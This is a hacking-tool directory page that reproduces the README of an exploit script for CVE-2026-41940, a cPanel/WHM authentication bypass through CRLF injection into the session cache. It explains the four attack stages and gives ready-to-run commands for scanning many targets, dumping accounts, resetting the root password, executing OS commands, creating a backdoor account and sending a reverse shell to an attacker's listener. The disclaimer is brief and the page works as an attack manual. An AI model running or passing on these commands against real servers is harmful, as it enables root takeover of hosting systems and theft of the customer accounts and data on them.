Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/0xyur1/cve-2026-41940
Authentication & AuthorizationVulnerability ScannersExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingAuthenticationRed Teaming
GitHub0xyur1/cve-2026-41940

CVE-2026-41940

92526 months agoNot yet reviewed
Share

cPanel/WHM Authentication Bypass (Zero-Day Vulnerability)

View Repository

CVE-2026-41940: cPanel/WHM Authentication Bypass (Single & Multi-Target)

Disclaimer: This document and the associated script (exploit.py) are provided strictly for educational purposes, security research, and authorized penetration testing. Do not use this software against systems you do not own or do not have explicit permission to test.

Overview

exploit.py is a script that demonstrates an authentication bypass vulnerability (CVE-2026-41940) in cPanel & WHM. The vulnerability allows an unauthenticated attacker to inject a root session into the daemon cache via a CRLF injection flaw, ultimately granting root-level WHM access without requiring valid credentials.

Vulnerability Analysis & Exploit Flow

The exploit works by leveraging a CRLF (Carriage Return Line Feed) injection vulnerability within the Basic Authentication handling mechanism, combined with a session propagation flaw. The script automates the attack in four stages:

  1. Pre-Auth Session Minting: Connects to public login endpoints (e.g., /login/ or /cgi/login.cgi) to acquire a baseline unauthenticated session cookie (whostmgrsession).
  2. CRLF Injection: Sends a crafted Basic Authentication header containing a Base64-encoded payload that injects root session fields directly into the cpsrvd session cache. The server's redirect response leaks the generated security token (cpsess).
  3. Session Propagation: The raw session cookie is sent to an authenticated WHM endpoint, triggering do_token_denied to propagate the forged session into the daemon cache — making it a valid authenticated session.
  4. Verification: Accesses restricted WHM API endpoints (e.g., /json-api/version) using the forged session to confirm root-level access.

Prerequisites

  • Python 3.x
  • requests library
pip install requests

Usage

python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]

Arguments

Target Selection

ArgumentDescription
--target URLSingle WHM URL (e.g., https://target:2087)
--target-file FILEFile with targets (one ip:port per line) — auto-enables check mode

Network & Core Options

ArgumentDescription
--threads NConcurrent threads for multi-target mode (default: 10)
--hostname HOSTOverride Host header — use when auto-discovery fails or gives wrong hostname
--timeout NPer-request timeout in seconds (default: 15)
--retries NRetry count on network errors (default: 3)
--cookie-name NAMEForce a specific session cookie name (auto-detected if omitted)
--no-verifySkip Stage 4 verification and proceed anyway

Exploitation Options (Post-Bypass)

ArgumentDescription
--checkCheck-only mode — verify vulnerability without exploiting (auto-set with --target-file)
--password PASSChange the root password to PASS
--api FUNCCall a specific WHM JSON-API function
--api-params K=V,...Comma-separated parameters for --api
--exec CMDExecute an OS command via WHM scripts/run_script (fallback: rawexec)
--sessionGenerate a root one-click login URL — open immediately, token expires fast
--shellDrop into an interactive WHM shell (single target only)
--dumpDump server info: version, accounts, DNS zones, privileges
--add-user USER PASS DOMAINCreate a new cPanel hosting account
--revshell LHOST LPORTSend a bash reverse shell to your listener

Output Options

ArgumentDescription
--output FILESave session token and details to a JSON file

Examples

# Check if target is vulnerable
python exploit.py --target https://target:2087 --check

# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump

# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session

# Execute a command
python exploit.py --target https://target:2087 --exec "id"

# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell

# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'

# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1

# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com

# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444

# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check

# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20

# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json

Interactive Shell Commands

When using --shell, the following commands are available:

CommandDescription
api <function> [k=v ...]Call a WHM JSON-API function (e.g., api version)
exec <command>Run an OS command via WHM (e.g., exec id)
passwd <newpass>Change the root password
dumpDump server information
revshell <lhost> <lport>Send a reverse shell
add <user> <pass> <domain>Create a cPanel account
save <path>Save the current session to a file
exit / quitExit the shell

Reminder

Update the latest cPanel/WHM security patches immediately.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    343
  • 5

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258

Explore all tools

Browse our collection of tools

View all tools →